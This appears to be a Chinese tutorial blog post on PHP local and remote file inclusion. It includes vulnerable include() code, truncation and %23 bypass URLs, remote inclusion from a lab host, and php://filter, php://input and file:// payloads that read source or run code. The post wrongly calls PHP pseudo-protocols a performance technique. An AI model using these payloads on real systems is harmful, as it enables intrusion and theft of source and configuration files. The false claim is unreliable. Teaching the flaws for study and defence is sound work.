文件包含与下载漏洞

一、漏洞检测与危害

概念

在真实的开发项目中,文件包含可以节省重复代码

文件包含:将指定的文件当代码执行 文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)

检测

检测是否有该漏洞 白盒:通过代码审计的方式 黑盒:扫描工具、公开的漏洞,手动看参数以及功能点

二、文件本地与远程

包含

文件包含有本地包含与远程包含的区别,本地包含只能包含服务器已经有的问题,如果服务 器没有需要包含的文件需要配合其他漏洞使用(文件上传漏洞) 远程包含可以包含一切网络上的文件,所以危害性要比本地包含大

(1)本地包含

无限制

无限制就是没有限制

1、新建一个 upload.php 文件当做服务

<?php
$filename=$_GET['filename'];
include ( $filename);
?>

2、新建一个 .txt 文件

<?php
phpinfo();
?>

3、访问 :把 1.txt 里面的文件变成了可以执行

localhost/upload.php?filename=1.txt

有限制

就是包含的文件是有一定限制的,为了正确包含进去,需要适当的绕过

例子

1、新建一个 upload.php 文件当服务

<?php
$filename=$_GET['filename'];
include($filename.".html");
?>

2、新建一个 .txt 文件

<?php
phpinfo();
?>

3、访问。无法像有限制级一样直接访问,需要借助绕过。

绕过方式
00截断

截断在前面解释过

原理:00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言 在定义字符串时,都是以\0(即 0x00)作为字符串的结尾。操作系统在识别字符串 时,当读取到\0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通 过修改数据包,插入\0 字符的方式,达到字符串截断的目的。

方法:在bp中添加%00(00截断分为get和post两种方法具体可根据当时场景讨论)

注:post需对%00多做一次解码的工作,get 型提交的内容会被自动进行 URL 解码,在 post请求中,%00 不会被自动解码。

访问:localhost/include/upload.php?filename=1.txt%00

长度截断

原理:windows 长度命名长度限制 256 个字符(由于磁盘分区需要占用一个字符,所以用户只能使用 255 个字符命名文件夹。) linux 长度限制 4096,因此Linux不适合长度截断。

访问:localhost/include/upload2.php?filename=1.txt.............................................................................................................................................................................................................

(2)远程包含

远程包含危害比本地包含危害更大,所以需要额外的权限才能打开allow_url_include 配置专门针对 PHP 的 include、include_once、require 及require_once 语句。当 allow_url_include 被设置为 On 时,PHP 允许通过URL 的形式,从远程服务器 包含和执行 PHP 文件。

无限制

即通过本地来访问远程文件,下面代码中192.168.0.13:88/1.txt

为访问IP192.168.0.13的远程通过88端口,访问1.txt

访问:localhost/upload.php?filename=http://192.168.0.13:88/1.txt

有限制

与本地包含中有限制类似

绕过方法
文件名绕过

远程文件是可控的,既然他要求是 1.txt.html,我把文件修改成这样就可以访问

空格绕过

%23 是#,通过传参的方式,可以用来绕过。

访问:localhost/upload.php?filename=http://192.168.0.13:88/1.txt%23

三、常见脚本语言伪协议

PHP 伪协议是一种在 PHP 处理数据时,通过替换数据报的头部信息来欺骗网络协议的方式来提高性能的技术。

1、PHP 支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

2、http://、https://

URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含

3、filter

php://filter 用于读取源码

参数列表

resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

字符串过滤器

string.rot13 等同于 str_rot13(),rot13 变换
string.toupper 等同于 strtoupper(),转大写字母
string.tolower 等同于 strtolower(),转小写字母
string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签转换过滤器 作用
convert.base64-encode & convert.base64-decode  等同于 base64_encode()和base64_decode(),base64 编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode  quoted-printable 字符串与8-bit 字符串编码解码

压缩过滤器

zlib.deflate & zlib.inflate 在本地文件系统中创建gzip 兼容文件的方法,但不产生命令行工具如gzip 的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress  同上,在本地文件系统中创建bz2 兼容文件的方法。

加密过滤器

mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

案例

读取中 upload.php 文件以 base64 编码输出

localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

4、input

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作php 代码执行

php://input + [POST DATA]

http://127.0.0.1/include.php?file=php://input

[POST DATA 部分

<?php  phpinfo(); ?>

5、file

用于访问本地文件系统f,ile://需要的是完整的路径

访问 hosts 文件

http://localhost/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

6、data

以传递相应格式的数据。通常可以用来执行 PHP 代码

  • 20
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值